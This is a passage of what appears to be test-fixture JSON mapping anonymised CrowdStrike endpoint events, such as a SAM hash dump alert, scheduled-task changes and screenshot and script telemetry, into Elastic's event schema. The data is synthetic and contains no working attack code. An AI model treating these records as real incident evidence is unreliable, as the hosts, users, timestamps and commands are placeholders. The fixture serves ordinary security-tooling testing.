"827afde25ba0eeda5d204a68ff612048\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\64fdf48d.~BT\\\\104a\\\\d\\\\d598026\\\\ddd203\\\\92391c8a.3007_none_7afbc84558a5a401\\\\f76eee64.rtf\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "device": "835\\dc08d203\\6d4a9f57", - "directory": "\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\92391c8a.3007_none_7afbc84558a5a401", - "extension": "rtf", - "inode": "f0649b7dd2265577af3c320a66e66b289fe7d98135c582d8", - "name": "f76eee64.rtf", - "path": "\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\92391c8a.3007_none_7afbc84558a5a401\\f76eee64.rtf", - "size": 507310, - "type": "file" - }, - "host": { - "id": "827afde25ba0eeda5d204a68ff612048", - "os": { - "type": "windows" - } - }, - "message": "RtfFileWritten", - "observer": { - "address": [ - "216.160.83.56" - ], - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": [ - "216.160.83.56" - ], - "serial_number": "827afde25ba0eeda5d204a68ff612048", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "600400303060", - "name": "6866e9cdd4c02", - "thread": { - "id": 1006000509974 - } - }, - "related": { - "hash": [ - "30820000" - ], - "ip": [ - "216.160.83.56" - ], - "user": [ - "352ad1966", - "S-49065-57943-32307" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-49065-57943-32307", - "name": "352ad1966" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "770065302", - "ContextProcessId": "9083291189505", - "ContextTimeStamp": "2025-09-10T02:09:38.153Z", - "DesiredAccess": "106086", - "EffectiveTransmissionClass": "3", - "Entitlements": "66", - "EventOrigin": "1", - "ExtendedKeyUsages": "1", - "FileSigningTime": "1653525170.000", - "KeyObject": "70075630231265270000", - "PublicKeys": "0", - "RegCreateDisposition": "2", - "RegCreateOptions": "0", - "RegPostObjectName": "\\85aaee17\\eb92252\\be8\\be8\\ced6771\\7e1b0d5", - "RegRootObjectName": "\\85aaee17\\eb92252\\be8\\be8\\ced6771", - "SHA256HashData": "6cab5215044a0ab69a528bc44775e8baa8594bb795fe2514a0ae18f29c8b61fe", - "SignInfoFlags": "107067", - "Status": "0", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "4cd0f3ad236f3d16670462b9d7b5bb5c129a", - "name": "cece108ee2dfd89f1ac8e4648ab61ed" - }, - "device": { - "id": "1085124e43b788dc1142faa8282f3160" - }, - "event": { - "action": "SAMHashDumpFromUnsignedModule", - "category": [ - "registry", - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "4cd0f3ad236f3d16670462b9d7b5bb5c129a|1085124e43b788dc1142faa8282f3160|4092825518eaf67377a6e4492ae44577", - "kind": "alert", - "original": "{\"KeyObject\":\"70075630231265270000\",\"ContextThreadId\":\"40890360000294\",\"aip\":\"81.2.69.192\",\"PublicKeys\":\"0\",\"RegPostObjectName\":\"\\\\85aaee17\\\\eb92252\\\\be8\\\\be8\\\\ced6771\\\\7e1b0d5\",\"RegKeyName\":\"\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"4cd0f3ad236f3d16670462b9d7b5bb5c129a\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"SAMHashDumpFromUnsignedModule\",\"ContextTimeStamp\":\"1757470178.153\",\"ConfigStateHash\":\"770065302\",\"ContextProcessId\":\"9083291189505\",\"RegRootObjectName\":\"\\\\85aaee17\\\\eb92252\\\\be8\\\\be8\\\\ced6771\",\"SHA256HashData\":\"6cab5215044a0ab69a528bc44775e8baa8594bb795fe2514a0ae18f29c8b61fe\",\"ExtendedKeyUsages\":\"1\",\"RegCreateDisposition\":\"2\",\"FileSigningTime\":\"1653525170.000\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"DesiredAccess\":\"106086\",\"ImageFileName\":\"\\\\6ba0bd\\\\74d33d26\\\\9134161b\\\\a48be8\\\\45eb5659\\\\e5bb8b3e\\\\8eb4b.exe\",\"Entitlements\":\"66\",\"name\":\"cece108ee2dfd89f1ac8e4648ab61ed\",\"RegCreateOptions\":\"0\",\"aid\":\"1085124e43b788dc1142faa8282f3160\",\"SignInfoFlags\":\"107067\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"Certificate\":\"\"}", - "outcome": "success", - "type": [ - "access", - "creation" - ] - }, - "host": { - "id": "1085124e43b788dc1142faa8282f3160", - "os": { - "type": "windows" - } - }, - "message": "SAMHashDumpFromUnsignedModule", - "observer": { - "address": [ - "81.2.69.192" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.192" - ], - "serial_number": "1085124e43b788dc1142faa8282f3160", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "9083291189505", - "executable": "\\6ba0bd\\74d33d26\\9134161b\\a48be8\\45eb5659\\e5bb8b3e\\8eb4b.exe", - "name": "8eb4b.exe", - "thread": { - "id": 40890360000294 - } - }, - "related": { - "hash": [ - "6cab5215044a0ab69a528bc44775e8baa8594bb795fe2514a0ae18f29c8b61fe", - "770065302" - ], - "ip": [ - "81.2.69.192" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "830", - "ConfigStateHash": "710307050", - "ContextProcessId": "6804094900076", - "ContextTimeStamp": "2025-07-30T08:54:24.498Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "66", - "EventOrigin": "45", - "InterfaceGuid": "a79958f42e575a8bdb46bf73321f8cf1b2c7", - "InterfaceVersion": "60255", - "RpcClientProcessId": "4004620865900", - "RpcClientThreadId": "724002090409000", - "RpcNestingLevel": "0", - "RpcOpNum": "30", - "TaskName": "bd3d6bea\\9af0ff\\29eab3a3", - "TokenType": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "6df4383ea32ec03f3e4d828c8771350c6861", - "name": "4996adce55e68cf01c05c7" - }, - "device": { - "id": "4b4df0f0e24c600fcc98e7444c1af658" - }, - "event": { - "action": "ScheduledTaskDeleted", - "category": [ - "configuration" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "6df4383ea32ec03f3e4d828c8771350c6861|4b4df0f0e24c600fcc98e7444c1af658|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"aip\":\"81.2.69.144\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"45\",\"InterfaceGuid\":\"a79958f42e575a8bdb46bf73321f8cf1b2c7\",\"RpcClientProcessId\":\"4004620865900\",\"id\":\"6df4383ea32ec03f3e4d828c8771350c6861\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ScheduledTaskDeleted\",\"ContextTimeStamp\":\"1753865664.498\",\"UserName\":\"06a9f4e72\",\"ConfigStateHash\":\"710307050\",\"InterfaceVersion\":\"60255\",\"ContextProcessId\":\"6804094900076\",\"RpcClientThreadId\":\"724002090409000\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TaskName\":\"bd3d6bea\\\\9af0ff\\\\29eab3a3\",\"RpcOpNum\":\"30\",\"Entitlements\":\"66\",\"name\":\"4996adce55e68cf01c05c7\",\"aid\":\"4b4df0f0e24c600fcc98e7444c1af658\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "deletion" - ] - }, - "host": { - "id": "4b4df0f0e24c600fcc98e7444c1af658", - "os": { - "type": "windows" - } - }, - "message": "ScheduledTaskDeleted", - "observer": { - "address": [ - "81.2.69.144" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.144" - ], - "serial_number": "4b4df0f0e24c600fcc98e7444c1af658", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "6804094900076" - }, - "related": { - "hash": [ - "710307050" - ], - "ip": [ - "81.2.69.144" - ], - "user": [ - "06a9f4e72" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "06a9f4e72" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "830", - "ConfigStateHash": "9080600092", - "ContextProcessId": "9000002203869", - "ContextTimeStamp": "2025-05-22T18:10:37.152Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "26", - "EventOrigin": "45", - "InterfaceGuid": "a79958f42e575a8bdb46bf73321f8cf1b2c7", - "InterfaceVersion": "80255", - "RpcClientProcessId": "3887070022276", - "RpcClientThreadId": "799160078000747", - "RpcNestingLevel": "0", - "RpcOpNum": "1", - "TaskAuthor": "057bcb1d4", - "TaskExecArguments": "/650a61d7", - "TaskExecCommand": "fa692415fa9d", - "TaskName": "c7bac469\\d598026\\1f6f4b17\\4e7075fa", - "TaskXml": "4a199d96.com/windows/2004/02/mit/task\">\r\n \r\n FSSB0930$\r\n \\c7bac469\\d598026\\1f6f4b17\\7e6a0826", - "TokenType": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "43b952c0225cd04c3a42b9e4b7264eecca9d", - "name": "569b2099134ca0f589a09d0" - }, - "device": { - "id": "096a526846b73e64ffebbc72ded8f018" - }, - "event": { - "action": "ScheduledTaskModified", - "category": [ - "configuration" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "43b952c0225cd04c3a42b9e4b7264eecca9d|096a526846b73e64ffebbc72ded8f018|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"aip\":\"81.2.69.192\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"45\",\"InterfaceGuid\":\"a79958f42e575a8bdb46bf73321f8cf1b2c7\",\"RpcClientProcessId\":\"3887070022276\",\"id\":\"43b952c0225cd04c3a42b9e4b7264eecca9d\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ScheduledTaskModified\",\"ContextTimeStamp\":\"1747937437.152\",\"UserName\":\"057bcb1d4\",\"ConfigStateHash\":\"9080600092\",\"InterfaceVersion\":\"80255\",\"ContextProcessId\":\"9000002203869\",\"RpcClientThreadId\":\"799160078000747\",\"TaskXml\":\"4a199d96.com/windows/2004/02/mit/task\\\">\\r\\n \\r\\n FSSB0930$\\r\\n \\\\c7bac469\\\\d598026\\\\1f6f4b17\\\\7e6a0826\",\"TaskAuthor\":\"057bcb1d4\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TaskName\":\"c7bac469\\\\d598026\\\\1f6f4b17\\\\4e7075fa\",\"RpcOpNum\":\"1\",\"Entitlements\":\"26\",\"name\":\"569b2099134ca0f589a09d0\",\"TaskExecArguments\":\"/650a61d7\",\"aid\":\"096a526846b73e64ffebbc72ded8f018\",\"TaskExecCommand\":\"fa692415fa9d\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "096a526846b73e64ffebbc72ded8f018", - "os": { - "type": "windows" - } - }, - "message": "ScheduledTaskModified", - "observer": { - "address": [ - "81.2.69.192" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.192" - ], - "serial_number": "096a526846b73e64ffebbc72ded8f018", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "9000002203869" - }, - "related": { - "hash": [ - "9080600092" - ], - "ip": [ - "81.2.69.192" - ], - "user": [ - "057bcb1d4" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "057bcb1d4" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "830", - "ConfigStateHash": "710307050", - "ContextProcessId": "6804094900076", - "ContextTimeStamp": "2025-08-15T23:56:08.498Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "96", - "EventOrigin": "45", - "InterfaceGuid": "a79958f42e575a8bdb46bf73321f8cf1b2c7", - "InterfaceVersion": "50255", - "RpcClientProcessId": "4950486027003", - "RpcClientThreadId": "900200906000878", - "RpcNestingLevel": "0", - "RpcOpNum": "1", - "TaskAuthor": "033b4ae8791399a8", - "TaskExecArguments": "/0630e40", - "TaskExecCommand": "82\\9134161b\\42955da6\\3c5c8318\\27b5ee41\\deaf1acb.exe", - "TaskName": "c7bac469\\9e380d\\9eba707b", - "TaskXml": "3398d363\\c7bac469\\9e380d\\96aef033\\9134161b\\42955da6\\3c5c8318\\27b5ee41\\deaf1acb.exe\r\n /checkin\r\n \r\n \r\n", - "TokenType": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "c7674af79959a3dacc5f7ca39360a5e76431", - "name": "2a8048a7af2ffa0cde48ccc43" - }, - "device": { - "id": "4b4df0f0e24c600fcc98e7444c1af658" - }, - "event": { - "action": "ScheduledTaskRegistered", - "category": [ - "configuration" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "c7674af79959a3dacc5f7ca39360a5e76431|4b4df0f0e24c600fcc98e7444c1af658|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"aip\":\"81.2.69.144\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"45\",\"InterfaceGuid\":\"a79958f42e575a8bdb46bf73321f8cf1b2c7\",\"RpcClientProcessId\":\"4950486027003\",\"id\":\"c7674af79959a3dacc5f7ca39360a5e76431\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ScheduledTaskRegistered\",\"ContextTimeStamp\":\"1755302168.498\",\"UserName\":\"06a9f4e72\",\"ConfigStateHash\":\"710307050\",\"InterfaceVersion\":\"50255\",\"ContextProcessId\":\"6804094900076\",\"RpcClientThreadId\":\"900200906000878\",\"TaskXml\":\"3398d363\\\\c7bac469\\\\9e380d\\\\96aef033\\\\9134161b\\\\42955da6\\\\3c5c8318\\\\27b5ee41\\\\deaf1acb.exe\\r\\n /checkin\\r\\n \\r\\n \\r\\n\",\"TaskAuthor\":\"033b4ae8791399a8\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TaskName\":\"c7bac469\\\\9e380d\\\\9eba707b\",\"RpcOpNum\":\"1\",\"Entitlements\":\"96\",\"name\":\"2a8048a7af2ffa0cde48ccc43\",\"TaskExecArguments\":\"/0630e40\",\"aid\":\"4b4df0f0e24c600fcc98e7444c1af658\",\"TaskExecCommand\":\"82\\\\9134161b\\\\42955da6\\\\3c5c8318\\\\27b5ee41\\\\deaf1acb.exe\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "host": { - "id": "4b4df0f0e24c600fcc98e7444c1af658", - "os": { - "type": "windows" - } - }, - "message": "ScheduledTaskRegistered", - "observer": { - "address": [ - "81.2.69.144" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.144" - ], - "serial_number": "4b4df0f0e24c600fcc98e7444c1af658", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "6804094900076" - }, - "related": { - "hash": [ - "710307050" - ], - "ip": [ - "81.2.69.144" - ], - "user": [ - "06a9f4e72" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "06a9f4e72" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "710307050", - "ContextProcessId": "1700783090940", - "ContextTimeStamp": "2025-10-05T11:04:06.104Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "16", - "EventOrigin": "1", - "PerformanceCounter": "d6c4254eed13d596", - "ProcessStartKey": "6502302011800406", - "RawThreadId": "9080", - "ScreenshotType": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "3e6d517e7aca78f0cf93da20fe86adf5f9ab", - "name": "a476a54b92f13dc913cf" - }, - "device": { - "id": "24840a73a08a136ac2e3a204a6371f8f" - }, - "event": { - "action": "ScreenshotTakenEtw", - "category": [ - "process" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "3e6d517e7aca78f0cf93da20fe86adf5f9ab|24840a73a08a136ac2e3a204a6371f8f|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"ScreenshotTakenEtw\",\"RawProcessId\":\"98380\",\"ContextTimeStamp\":\"1759662246.104\",\"UserName\":\"b2a353ab\",\"ConfigStateHash\":\"710307050\",\"ContextProcessId\":\"1700783090940\",\"ProcessStartKey\":\"6502302011800406\",\"aip\":\"81.2.69.142\",\"ScreenshotType\":\"1\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"CommandLine\":\"1a90f522768721299fe7227e9644dfd4dc04d71dab67a46de74754daffa57066 --26\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\303abfe3\\\\f5738ad0\\\\982d2c83.edu\\\\55c39df.exe\",\"Entitlements\":\"16\",\"name\":\"a476a54b92f13dc913cf\",\"EventOrigin\":\"1\",\"RawThreadId\":\"9080\",\"id\":\"3e6d517e7aca78f0cf93da20fe86adf5f9ab\",\"PerformanceCounter\":\"d6c4254eed13d596\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"24840a73a08a136ac2e3a204a6371f8f\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "access" - ] - }, - "host": { - "id": "24840a73a08a136ac2e3a204a6371f8f", - "os": { - "type": "windows" - } - }, - "message": "ScreenshotTakenEtw", - "observer": { - "address": [ - "81.2.69.142" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.142" - ], - "serial_number": "24840a73a08a136ac2e3a204a6371f8f", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "args": [ - "1a90f522768721299fe7227e9644dfd4dc04d71dab67a46de74754daffa57066", - "--26" - ], - "args_count": 2, - "command_line": "1a90f522768721299fe7227e9644dfd4dc04d71dab67a46de74754daffa57066 --26", - "entity_id": "1700783090940", - "executable": "\\6ba0bd\\447b992c\\303abfe3\\f5738ad0\\982d2c83.edu\\55c39df.exe", - "name": "55c39df.exe", - "pid": 98380 - }, - "related": { - "hash": [ - "710307050" - ], - "ip": [ - "81.2.69.142" - ], - "user": [ - "b2a353ab" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "b2a353ab" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "3440491101", - "ContextProcessId": "109050000055", - "ContextTimeStamp": "2025-07-08T23:23:52.509Z", - "EffectiveTransmissionClass": "0", - "Entitlements": "96", - "EventOrigin": "1", - "Parameter64_1": "0", - "Parameter64_2": "8206700950", - "Parameter64_3": "0", - "ScriptControlErrorCode": "3", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "7e63b76986f72b1aa2e6038707b440ac2bd2", - "name": "345e60fd50e3d887337d0b2b9" - }, - "device": { - "id": "5646c890ca4b0ac33c1cfa27264240b6" - }, - "event": { - "action": "ScriptControlErrorEvent", - "category": [ - "malware", - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "7e63b76986f72b1aa2e6038707b440ac2bd2|5646c890ca4b0ac33c1cfa27264240b6|4092825518eaf67377a6e4492ae44577", - "kind": "alert", - "original": "{\"event_simpleName\":\"ScriptControlErrorEvent\",\"ContextTimeStamp\":\"1752017032.509\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"109050000055\",\"ContextThreadId\":\"883457700032905\",\"Parameter64_3\":\"0\",\"aip\":\"89.160.20.128\",\"Parameter64_2\":\"8206700950\",\"Parameter64_1\":\"0\",\"ScriptControlErrorCode\":\"3\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"96\",\"name\":\"345e60fd50e3d887337d0b2b9\",\"EventOrigin\":\"1\",\"id\":\"7e63b76986f72b1aa2e6038707b440ac2bd2\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"5646c890ca4b0ac33c1cfa27264240b6\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "failure", - "type": [ - "info" - ] - }, - "host": { - "id": "5646c890ca4b0ac33c1cfa27264240b6", - "os": { - "type": "windows" - } - }, - "message": "ScriptControlErrorEvent", - "observer": { - "address": [ - "89.160.20.128" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.128" - ], - "serial_number": "5646c890ca4b0ac33c1cfa27264240b6", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "109050000055", - "thread": { - "id": 883457700032905 - } - }, - "related": { - "hash": [ - "3440491101" - ], - "ip": [ - "89.160.20.128" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "8504003003", - "ContentSHA256HashData": "d989a41a36e20c7aee72b566f550081a83e98e302ff39c0096cc93c842822bfe", - "ContextProcessId": "2579509200600", - "ContextTimeStamp": "2025-10-18T18:25:11.783Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "76", - "EventOrigin": "1", - "GrandparentCommandLine": "5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce 7e4da8f92d658b5974fb2fcff57fa319 -63 ef8d1f274d1f3957c -bfe4 71 -9de2 e162e -af0975 b810c110085eaa6070dc25a0f81e8a0248716ebb697a69c2d3246aa05db7877e -255e 45 -d89d7 5a58951b1bac16ed39694af351d583abddff0b30 -288 5", - "GrandparentImageFileName": "\\6ba0bd\\447b992c\\9134161b\\5fd4a1cd\\d5a15842.exe", - "HostProcessType": "4", - "OriginalContentLength": "103", - "ParentCommandLine": "82\\ab7e5c1\\4a6a0a4b\\04d.exe /c \"\"C:\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\9abf749f.bat\" \"C:\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\8c5fa1bc.bat\"\"", - "ParentImageFileName": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\04d.exe", - "ScriptContent": "8040e831._01000001(\"-2147483646\", \"SYSTEM\\87d633b2\\32d7e82\\185d320a\\921a9d8f", - "ScriptContentName": "\\e2\\82\\6b0cc\\9d0fa317\\0f51ad6\\8c31e\\d62f\\d41e7ee1\\6d70c65f.vbs", - "ScriptingLanguageId": "4", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "42432e4ab526161b012bf9090bfa8e7f7c50", - "name": "da8c933b9d11428ed052d2d5eb4c" - }, - "device": { - "id": "ec58958430d6e12f5dfa327cad790e06" - }, - "event": { - "action": "ScriptControlScanTelemetry", - "category": [ - "malware", - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "42432e4ab526161b012bf9090bfa8e7f7c50|ec58958430d6e12f5dfa327cad790e06|4092825518eaf67377a6e4492ae44577", - "kind": "state", - "original": "{\"ScriptContent\":\"8040e831._01000001(\\\"-2147483646\\\", \\\"SYSTEM\\\\87d633b2\\\\32d7e82\\\\185d320a\\\\921a9d8f\",\"OriginalContentLength\":\"103\",\"ContextThreadId\":\"700600800020030\",\"ScriptingLanguageId\":\"4\",\"aip\":\"216.160.83.56\",\"ParentImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\04d.exe\",\"GrandparentImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\5fd4a1cd\\\\d5a15842.exe\",\"event_platform\":\"Win\",\"ScriptContentName\":\"\\\\e2\\\\82\\\\6b0cc\\\\9d0fa317\\\\0f51ad6\\\\8c31e\\\\d62f\\\\d41e7ee1\\\\6d70c65f.vbs\",\"HostProcessType\":\"4\",\"EventOrigin\":\"1\",\"id\":\"42432e4ab526161b012bf9090bfa8e7f7c50\",\"ParentCommandLine\":\"82\\\\ab7e5c1\\\\4a6a0a4b\\\\04d.exe /c \\\"\\\"C:\\\\6b0cc\\\\9d0fa317\\\\0f51ad6\\\\8c31e\\\\d62f\\\\d41e7ee1\\\\9abf749f.bat\\\" \\\"C:\\\\6b0cc\\\\9d0fa317\\\\0f51ad6\\\\8c31e\\\\d62f\\\\d41e7ee1\\\\8c5fa1bc.bat\\\"\\\"\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ScriptControlScanTelemetry\",\"ContextTimeStamp\":\"1760811911.783\",\"ConfigStateHash\":\"8504003003\",\"ContextProcessId\":\"2579509200600\",\"ContentSHA256HashData\":\"d989a41a36e20c7aee72b566f550081a83e98e302ff39c0096cc93c842822bfe\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"CommandLine\":\"e108a27 868 7772eeea 155438f51ba0153edf44e16365faa317f4a2f01da4ce35d7ba9e8efe8d51a5a8 -9a8a308 284\",\"GrandparentCommandLine\":\"5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce 7e4da8f92d658b5974fb2fcff57fa319 -63 ef8d1f274d1f3957c -bfe4 71 -9de2 e162e -af0975 b810c110085eaa6070dc25a0f81e8a0248716ebb697a69c2d3246aa05db7877e -255e 45 -d89d7 5a58951b1bac16ed39694af351d583abddff0b30 -288 5\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\e108a27.exe\",\"Entitlements\":\"76\",\"name\":\"da8c933b9d11428ed052d2d5eb4c\",\"aid\":\"ec58958430d6e12f5dfa327cad790e06\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "info" - ] - }, - "host": { - "id": "ec58958430d6e12f5dfa327cad790e06", - "os": { - "type": "windows" - } - }, - "message": "ScriptControlScanTelemetry", - "observer": { - "address": [ - "216.160.83.56" - ], - "geo": { - "city_name": "Milton", - "continent_name": "North America", - "country_iso_code": "US", - "country_name": "United States", - "location": { - "lat": 47.2513, - "lon": -122.3149 - }, - "region_iso_code": "US-WA", - "region_name": "Washington" - }, - "ip": [ - "216.160.83.56" - ], - "serial_number": "ec58958430d6e12f5dfa327cad790e06", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "args": [ - "e108a27", - "868", - "7772eeea", - "155438f51ba0153edf44e16365faa317f4a2f01da4ce35d7ba9e8efe8d51a5a8", - "-9a8a308", - "284" - ], - "args_count": 6, - "command_line": "e108a27 868 7772eeea 155438f51ba0153edf44e16365faa317f4a2f01da4ce35d7ba9e8efe8d51a5a8 -9a8a308 284", - "entity_id": "2579509200600", - "executable": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\e108a27.exe", - "name": "e108a27.exe", - "thread": { - "id": 700600800020030 - } - }, - "related": { - "hash": [ - "8504003003" - ], - "ip": [ - "216.160.83.56" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ClientComputerName": "9b0f0662", - "ConfigStateHash": "2069001378", - "ContextProcessId": "2600380079010", - "EffectiveTransmissionClass": "3", - "Entitlements": "96", - "EventOrigin": "1", - "WmiNamespaceName": "4813\\155e1", - "WmiQuery": "8d8f8ea22b6bfbe801ecaaba1425c6a9d7", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "272b6e237d25b3c937239259405719619f9c", - "name": "887f1bbf3206d18c959" - }, - "device": { - "id": "cfe278fcd1e293c7afdf3f1753b2d89e" - }, - "event": { - "action": "SensitiveWmiQuery", - "category": [ - "process" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "272b6e237d25b3c937239259405719619f9c|cfe278fcd1e293c7afdf3f1753b2d89e|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": 